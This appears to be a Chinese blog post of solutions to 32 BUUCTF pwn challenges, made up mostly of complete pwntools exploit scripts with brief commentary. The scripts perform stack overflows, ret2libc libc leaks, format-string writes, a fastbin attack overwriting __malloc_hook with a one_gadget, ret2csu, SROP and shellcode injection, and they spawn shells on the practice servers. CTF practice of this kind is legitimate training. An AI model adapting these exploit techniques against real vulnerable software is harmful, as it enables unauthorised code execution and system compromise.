溫故而知新,可以為師矣。所以花了幾天時間重新做了下 buuctf 的 pwn 題,先發下第一頁共 32 題的題解。還有如果題解都很詳細那麼本文就太長了,寫起來也浪費時間,所以比較簡單的題就直接丟 exp 了,不懂可以去看其他人的題解,難的題我覺得我寫的題解應該是挺詳細的。截至到發文日期,只要是涉及 libc 的題目的 exp 都是能打通遠端的。如有錯誤評論歡迎指正。
直接 nc 連線即可得到 shell
簡單的 ret2text ,不過靶機是 ubuntu18 ,要注意用 ret 指令進行棧平衡
from pwn import * from LibcSearcher import * context.log_level='debug' p = remote('node4.buuoj.cn', 28520) #p = process('pwn1') elf = ELF('pwn1') #p.recv() ret = 0x0000000000401016 payload = b'a'*(0xf+8) + p64(ret) + p64(elf.sym['fun']) p.sendline(payload) p.interactive()
from pwn import * from LibcSearcher import * context.log_level='debug' p = remote('node4.buuoj.cn', 26284) #p = process('pwn1') elf = ELF('pwn1') p.recv() payload = b'a'*(0x40+8) + p64(0x40060d) p.sendline(payload) p.interactive()
直接通過 IDA 檢視 v1 與 v2 的距離,通過溢位覆蓋 v2 的值
from pwn import * p = remote("node4.buuoj.cn",26954) payload = b'a'*44 + p64(0x41348000) //應該將浮點數轉為十六進位制 p.send(payload) p.interactive()
這裡的fgets限制了輸入的長度,一看是沒有溢位漏洞的,但是下面的replace函數會將輸入的 ‘I' 替換成 ’you‘,我們可以根據這個實現溢位漏洞
於是構造exp如下
from pwn import * connect = 1 if connect: p = remote("node4.buuoj.cn",29821) else: p = process('1') payload = b'I'*20 + b'a'*4 + p32(0x8048F0D) p.send(payload) p.interactive()
from pwn import * from LibcSearcher import * context.log_level='debug' p = remote('node4.buuoj.cn', 26366) #p = process('pwn1') elf = ELF('level0') p.recv() payload = b'a'*0x88 + p64(elf.sym['callsystem']) p.sendline(payload) p.interactive()
from pwn import * from LibcSearcher import * p = process("./pwn") data_addr = 0x804c044 payload = p32(data_addr) + b"%10$n" p.recv() p.sendline(payload) p.recv() p.sendline(b'4') p.interactive()
也可以利用 pwntools 的 fmtstr_payload 實現
from pwn import * proc_name = './pwn' sh = process(proc_name) unk_804C044 = 0x804C044 payload = fmtstr_payload(10, {unk_804C044: 0x1}) sh.sendline(payload) sh.sendline(str(0x1)) sh.interactive()
利用 \x00 進行字元截斷,就不會對後面的 payload 進行加密了
之後就是 ret2libc,並且要注意棧平衡
from pwn import * from LibcSearcher import * #p = process("./1") p = remote("node4.buuoj.cn", 28810) elf = ELF("./1") pop_rdi = 0x0000000000400c83 ret = 0x00000000004006b9 puts_got = elf.got["puts"] puts_plt = elf.plt["puts"] main_addr = elf.symbols["main"] #first : get puts_addr payload1 = b'\0' + b'a'*(0x50 + 7) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter('Input your choice!\n', '1') p.sendlineafter('Input your Plaintext to be encrypted\n', payload1) p.recvline() #注意這裡接受兩行 p.recvline() text = p.recv() puts_addr = u64(text[:6].ljust(8,b'\x00')) //實測如果這裡不補足8位元,u64無法轉換 #secode : get libcbase and other fuction addrs libc = LibcSearcher("puts", puts_addr) libcbase = puts_addr - libc.dump("puts") #print(libcbase) system_addr = libcbase + libc.dump("system") binsh_addr = libcbase + libc.dump("str_bin_sh") #third : get shell p.sendline(b'1') p.recv() payload2 = b'\0' + b'a'*(0x50 + 7) + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) p.sendline(payload2) p.interactive()
如圖,QWORD 代表代表了兩個位元組,將var[17]賦值為17即可
from pwn import* #p = process("./1") p = remote("node4.buuoj.cn", 29946) p.recv() payload = b'a'*13*4 + p64(0x11) #payload = p32(17)*14 p.sendline(payload) p.interactive()
from pwn import * from LibcSearcher import * context.log_level='debug' #p = remote('node4.buuoj.cn', 27484) p = process('pwn') elf = ELF('pwn') p.recv() payload = b'a'*140 + p32(elf.sym['system']) + p32(0) + p32(next(elf.search(b'/bin/sh\x00'))) p.sendline(payload) p.interactive() p.recv()
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 27053) elf = ELF('pwn') p.recv() payload = b'a'*24 + p64(elf.sym['backdoor']) p.sendline(b'50') p.recv() p.sendline(payload) p.interactive()
於是我們構造以下payload
from pwn import * from LibcSearcher import * context.log_level = 'debug' #context(os='linux', arch='amd64') #p = process('./1') p = remote('node4.buuoj.cn', 27088) elf = ELF('1') pop3_addr = 0x0806fc08 mprotect_addr = elf.symbols['mprotect'] read_addr = elf.symbols['read'] buf_addr = 0x080eb000 payload = b'a'*56 payload += p32(mprotect_addr) + p32(pop3_addr) + p32(buf_addr) + p32(0x1000) + p32(0x7) payload += p32(read_addr) + p32(pop3_addr) + p32(0) + p32(buf_addr) + p32(0x100) payload += p32(buf_addr) p.sendline(payload) shellcode = asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()
64位元下的 ret2text
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 28941) elf = ELF('pwn') rdi = 0x4006b3 payload = b'a'*0x88 + p64(rdi) + p64(next(elf.search(b'/bin/sh\x00'))) + p64(elf.sym['system']) p.recv() p.sendline(payload) p.interactive()
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 27109) elf = ELF('pwn') rdi = 0x400683 payload = b'a'*0x18 + p64(rdi) + p64(next(elf.search(b'/bin/sh\x00'))) + p64(elf.sym['system']) p.recv() p.sendline(payload) p.interactive()
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 29131) elf = ELF('pwn') ret = 0x4006b9 rdi = 0x400c83 p.recv() p.sendline(b'1') payload = b'\x00' + b'a'*0x57 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main']) p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) #print(hex(puts_addr)) libc = ELF('buu/libc-2.27-x64.so') libcbase = puts_addr - libc.sym['puts'] system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) p.recv() p.sendline(b'1') payload = b'\x00' + b'a'*0x57 + p64(ret) + p64(rdi) + p64(binsh) + p64(system) p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload) p.interactive()
跟前面一道題比較類似
from pwn import * from LibcSearcher import * context.log_level = 'debug' #context(os='linux', arch='amd64') #p = process('./1') p = remote('node4.buuoj.cn', 28016) elf = ELF('1') get_secret_addr = elf.symbols['get_secret'] exit_addr = elf.symbols['exit'] write_addr = elf.symbols['write'] flag_addr = 0x080ECA2D payload = b'a'*45 + p32(get_secret_addr) + p32(write_addr) + p32(exit_addr) + p32(1) + p32(flag_addr) + p32(0x100) p.sendline(payload) print(p.recv())
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 26628) elf = ELF('pwn') ret = 0x00000000004004c9 rdi = 0x0000000000400713 p.sendlineafter(b'tell me your name\n', 'w1nd') payload = b'a'*0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main']) p.sendlineafter(b'What do you want to say to me?\n', payload) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc = ELF('buu/libc-2.27-x64.so') libcbase = puts_addr - libc.sym['puts'] system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) p.sendlineafter(b'tell me your name\n', 'w1nd') payload = b'a'*0x28 + p64(ret) + p64(rdi) + p64(binsh) + p64(system) p.sendlineafter(b'What do you want to say to me?\n', payload) p.interactive()
直接 nc
這裡的 strcpy 函數導致了棧溢位漏洞
在構造payload的時候,記得system函數地址後的返回地址四個位元組不能有一個為零,否則strcpy函數複製的時候遇到 \x00 就不繼續複製了
from pwn import * from LibcSearcher import * #context.log_level = 'debug' #context(os='linux', arch='amd64') #p = process('./1') p = remote("node4.buuoj.cn", 29577) elf = ELF('1') system_addr = elf.symbols['system'] sh_addr = next(elf.search(b'sh\x00')) ret = 0x0804843e p.sendlineafter('Please input admin password', 'administrator') p.sendlineafter('0.Exit\n:', '1') payload = b'a'*(0x48+4) + p32(system_addr) + b'a'*4 + p32(sh_addr) #所以這裡寫成了 b'a'*4 p.sendlineafter('Please input new log info:', payload) p.sendlineafter('0.Exit\n:', '4') p.interactive()
這裡用 write 洩露 libc,其它都很尋常的 ret2libc
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 29939) elf = ELF('pwn') payload = b'a'*0x8c + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(0x4) p.sendline(payload) write_addr = u32(p.recv()) libc = ELF('buu/libc-2.27.so') libcbase = write_addr - libc.sym['write'] system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'a'*0x8c + p32(system) + p32(0) + p32(binsh) p.sendline(payload) p.interactive()
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 26698) elf = ELF('pwn') rdi = 0x400733 ret = 0x4004c9 payload = b'a'*0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main']) p.sendlineafter(b'story!\n', payload) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc = ELF('buu/libc-2.23-x64.so') libcbase = puts_addr - libc.sym['puts'] system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system) p.sendlineafter(b'story!\n', payload) p.interactive()
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 27408) elf = ELF('pwn') p.sendlineafter(b'your name:\n', '-1') payload = b'a'*0x18 + p64(elf.sym['backdoor']) p.sendlineafter(b'u name?\n', payload) p.interactive()
格式化字串漏洞
exp
from pwn import * from LibcSearcher import * context.log_level='debug' p = process('pwn') #p = remote('node4.buuoj.cn', 26628) elf = ELF('pwn') x_addr = 0x804A02C #payload = fmtstr_payload(11,{x_addr:4}) payload = p32(x_addr) + b'%11$n' p.sendline(payload) #print(p.recv()) p.interactive()
簡單的整數溢位和 ret2libc,但是坑的是
看組合程式碼才發現,原來程式讀字串用的是自定義的 get_n 函數
IDA中可以找到很多 leave 指令
exp如下
from pwn import * from LibcSearcher import * #context.log_level = 'debug' #context(os='linux', arch='amd64') #p = process('./1') p = remote('node4.buuoj.cn', 28244) elf = ELF('1') leave = 0x080484B8 system_addr = elf.symbols['system'] p.send(b'a'*36 + b'stop') p.recvuntil(b'stop') ebp = u32(p.recv(4)) payload = (b'a'*4 + p32(system_addr) + b'a'*4 + p32(ebp-0x28) + b'/bin/sh\x00').ljust(0x28, b'a') payload += p32(ebp-0x38) + p32(leave) p.send(payload) p.interactive()
64位元下的 printf 函數洩露 libc
from pwn import *
from LibcSearcher import *
context.log_level='debug'
#p = process('pwn')
p = remote('node4.buuoj.cn', 27227)
elf = ELF('pwn')
rdi = 0x400733
rsi_r15 = 0x400731
ret = 0x4004d1
#%s
str_s = 0x400770
payload = b'a'*0x28 + p64(rdi) + p64(str_s) + p64(rsi_r15) + p64(elf.got['read']) + p64(0) + p64(elf.plt['printf']) + p64(elf.sym['main'])
p.sendlineafter(b'What\'s your name? ',payload)
p.recvline()
read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = ELF('buu/libc-2.23-x64.so')
libcbase = read_addr - libc.sym['read']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'What\'s your name? ',payload)
p.interactive()
需要 gdb 動態偵錯 ,或者注意下組合程式碼
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 28205) elf = ELF('pwn') rdi = 0x400668 ret = 0x400469 payload = b'a'*0x88 + p64(elf.sym['good_game']) p.sendlineafter(b'Input your message:\n', payload) p.recv() p.recv()
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
fill(0,payload)
payload = p64(0)*3 + p64(0x21)
fill(3,payload)
allocate(0x10) allocate(0x10) payload = p64(0)*3 + p64(0x91) fill(3,payload) allocate(0x80) free(4)
allocate(0x60)
free(4)
payload = p64(libcbase + 0x3c4aed)
fill(2,payload)
allocate(0x60)
allocate(0x60)
one_gadget = libcbase + 0x4526a payload = b'a'*0x13 + p64(one_gadget) fill(6, payload) allocate(0x10) #跳轉到 one_gadget
from pwn import * from LibcSearcher import * context.log_level='debug' context(os='linux', arch='amd64') p = process('./pwn') #p = remote('node4.buuoj.cn', 28357) elf = ELF('./pwn') libc = ELF('./buu/libc-2.23-x64.so') def allocate(size): p.sendlineafter("Command:", '1') p.sendlineafter("Size:", str(size)) def fill(index, content): p.sendlineafter("Command:", '2') p.sendlineafter("Index:", str(index)) p.sendlineafter("Size:", str(len(content))) p.sendafter("Content:", content) def free(index): p.sendlineafter("Command:", '3') p.sendlineafter("Index:", str(index)) def dump(index): p.sendlineafter("Command:", '4') p.sendlineafter("Index:", str(index)) allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x80) free(1) free(2) payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80) fill(0,payload) payload = p64(0)*3 + p64(0x21) fill(3,payload) allocate(0x10) allocate(0x10) payload = p64(0)*3 + p64(0x91) fill(3,payload) allocate(0x80) free(4) dump(2) p.recv() main_arena_0x58 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) #libc_malloc_hook = 0x3c4b10 libcbase = main_arena_0x58 - 0x3c4b78 print('libcbase => ',hex(libcbase)) allocate(0x60) free(4) payload = p64(libcbase + 0x3c4aed) fill(2,payload) allocate(0x60) allocate(0x60) one_gadget = libcbase + 0x4526a payload = b'a'*0x13 + p64(one_gadget) fill(6, payload) allocate(0x10) p.interactive()
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 29138) elf = ELF('pwn') payload = b'a'*140 + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(0x1) + p32(elf.got['write']) + p32(0x4) p.sendlineafter(b'Input:\n', payload) write_addr = u32(p.recvuntil(b'\xf7')) print('write_addr=>',hex(write_addr)) libc = ELF('buu/libc-2.23.so') libcbase = write_addr - libc.sym['write'] one_gadget = libcbase + 0x3a80c payload = b'a'*140 + p32(one_gadget) p.sendlineafter(b'Input:\n', payload) p.interactive()
$rax==59
$rdi== binsh_addr
$rsi==0
$rdx==0
syscall
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 26376) elf = ELF('pwn') rax_3b = 0x4004E2 rdi = 0x4005a3 rsi_r15 = 0x4005a1 rbx_rbp_r12_r13_r14_r15 = 0x40059A r13_rdx = 0x400580 syscall = 0x400517 payload = b'a'*0x10 + p64(elf.sym['vuln']) p.sendline(payload) p.recv(0x20) binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118 print('binsh=>',hex(binsh)) payload = b'/bin/sh\x00' payload = payload.ljust(0x10, b'a') payload += p64(rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(1) + p64(binsh + 0x50) + p64(0)*3 payload += p64(r13_rdx) payload += p64(rdi) + p64(binsh) payload += p64(rsi_r15) + p64(0)*2 payload += p64(rax_3b) payload += p64(syscall) p.sendline(payload) p.interactive()
from pwn import * from LibcSearcher import * context.log_level='debug' context(os='linux', arch='amd64') #p = process('pwn') p = remote('node4.buuoj.cn', 26376) elf = ELF('pwn') rax_15 = 0x4004DA syscall = 0x400517 payload = b'a'*0x10 + p64(elf.sym['vuln']) p.sendline(payload) p.recv(0x20) binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118 print('binsh=>',hex(binsh)) # 設定sigframe關鍵暫存器 sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = binsh sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rip = syscall print('sigframe.rax:',sigframe.rax) payload = b'/bin/sh\x00'*2 + p64(rax_15) + p64(syscall) + flat(sigframe) p.sendline(payload) p.interactive()
from pwn import * p=process('./1') context.log_level='debug'
p.recvuntil('crash: ') stack=int(p.recv(10),16) print(hex(stack)) payload=b'crashme\x00'+b'a'*(0x16+4-8) + p32(stack-0x1c) + asm(shellcraft.sh()) p.sendline(payload) p.interactive()
這裡比較坑的是,不知道是不是我環境設定的原因,我用 ubuntu16 和 ubuntu18 這兩臺是無法成功動態偵錯的,一按 c 就程式就直接結束了,根本不理會是否設定了斷點,換了 ubuntu22 和 kali 才能正常偵錯